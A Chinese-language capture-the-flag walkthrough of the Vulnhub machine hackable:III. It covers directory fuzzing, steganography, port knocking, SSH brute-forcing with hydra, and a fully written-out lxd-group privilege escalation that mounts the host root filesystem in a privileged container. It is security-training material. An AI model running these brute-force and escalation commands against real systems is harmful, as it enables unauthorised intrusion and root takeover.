【Vulnhub】hackable:III
hackable:III
Description
Focus on general concepts about CTF
Difficulty: Medium
[!TIP]
又是 igconfig 得不到ip信息的情况,用 sudo /sbin/dhclient 命令
信息收集
fscan 扫描内网,发现靶机IP:192.168.1.6

nmap 扫描目标IP端口和服务
nmap -A -sV -p- 192.168.1.6

开放了 22(注意这里22端口是关闭的) 和 80 端口
查看 80 端口网页

查看网页源码

有一个人给 jubiscleudo 的留言,并且告诉了关于 .jpg 的消息
接下来 ffuf 扫描目录
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.6/FUZZ

将 200、301 的状态码目录点开
发现 backup 目录里面有个 wordlist.txt ,查看后感觉应该是一个密码字典

config 目录里面有一个 1.txt,内容为 MTAwMDA=,像是 base64 加密,解密后得到 10000

css 目录里有一个 2.txt,将内容去网站 https://www.dcode.fr/cipher-identifier 分析一下是 Brainfuck 加密,使用解密工具解密得到 4444

然后还有一个 imagens/ 目录,里面存储的全是图片

最后是 login_page/ 目录,里面是 html 内容

点击 login.html 进入登陆页面

查看页面源代码,发现有提示说这个页面还没准备好,可能出现错误

所以我测试几个账号和上面解密出来的密码,发现页面确实没写好,输入任何字符串登录都显示空白页面,但是注意一下,这里登录之后 url 会跳转到 login.php
查看该页面的源代码

显示的是登录认证代码,但是注意到 if 语句里面显示登录成功之后,header('Location: 3.jpg'),也就是说登陆成功会跳转到 3.jpg 页面,进入该页面

发现是个图片,然后到这里就戛然而止了。。。
但是这样放一个图片,显然也是一种提示,所以需要用到一个工具 Steghide
[!NOTE]
Steghide 是一个可以将文件隐写到图片或者音频的工具,支持格式:JPEG、BMP、WAV、AU文件。
没安装的话,先安装 steghide
apt install steghide
然后将 3.jpg get下来后,再使用 steghide 提取图片中隐藏的东西
steghide extract -sf 3.jpg

得到一个端口:65535,那么说起来前面两个 4444 和 10000 其实也是端口了。
那么可以使用 knock
漏洞扫描
[!NOTE]
knock是一个典型的端口敲门(port knocking)工具,这种技术在网络安全中用于隐蔽服务器的服务端口,如 SSH 端口 22。在这种技术中,服务器会将服务端口隐藏,通过特定顺序的“敲门”打开服务端口,允许连接。这种敲门行为是一系列特定端口的访问或“敲门”请求,服务器检测到正确的顺序后会临时开放指定端口。
knock 192.168.1.6 10000 4444 65535
[!CAUTION]
我这里出现了问题,端口没有碰撞成功,所以 ssh 一直爆破不了。后面我直接root登录靶机,开放了22端口,结果还是不行。。。
最后发现是由于我最开始不是没有ip么,使用 sudo /sbin/dhclient 给靶机分配好ip之后,网卡名 与 靶机里面 knockd 配置文件里的网卡名对应不上,导致 knockd 状态一直是 failed,于是我重写写了 knockd 的配置文件,然后重启了 knockd
所以这里推荐一篇文章 如何在 Linux 中使用端口敲门来保护 SSH 服务
这里碰撞成功后,再次用 nmap 扫描目标的端口,会发现 22 端口是 open 状态

然后将之前在网站目录中找到的 wordlist.txt 密码字典写到一个 wget 下来
使用密码爆破工具 hydra 进行爆破 ssh
hydra -l jubiscleudo -P wordlist.txt 192.168.1.6 ssh

得到 jubiscleudo 用户的ssh连接密码 onlymy
开始 ssh 连接...

连接成功,拿到 user.txt 的 flag

提权
之后查看用户有哪些sudo权限,以及可以使用的东西,没结果
那么去到网站里查看是否有数据库连接信息泄露之类的

可以看到在 /var/www/html 目录下面有个隐藏的 .backup_config.php 文件,查看文件,发现数据库连接的账号密码
切换用户 hackable_3 试试

查看id

发现是 lxd 组【lxd/lxc 组的用户可以使用github上面的项目进行提权】

于是这里进行了一系列提权操作,建议看一篇文章 linux lxd组用户提权至root 【有详细描写原理和过程】
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
最后成功 root 启动bash
在 /mnt/root/root目录获取到 root.txt 中的 flag



浙公网安备 33010602011771号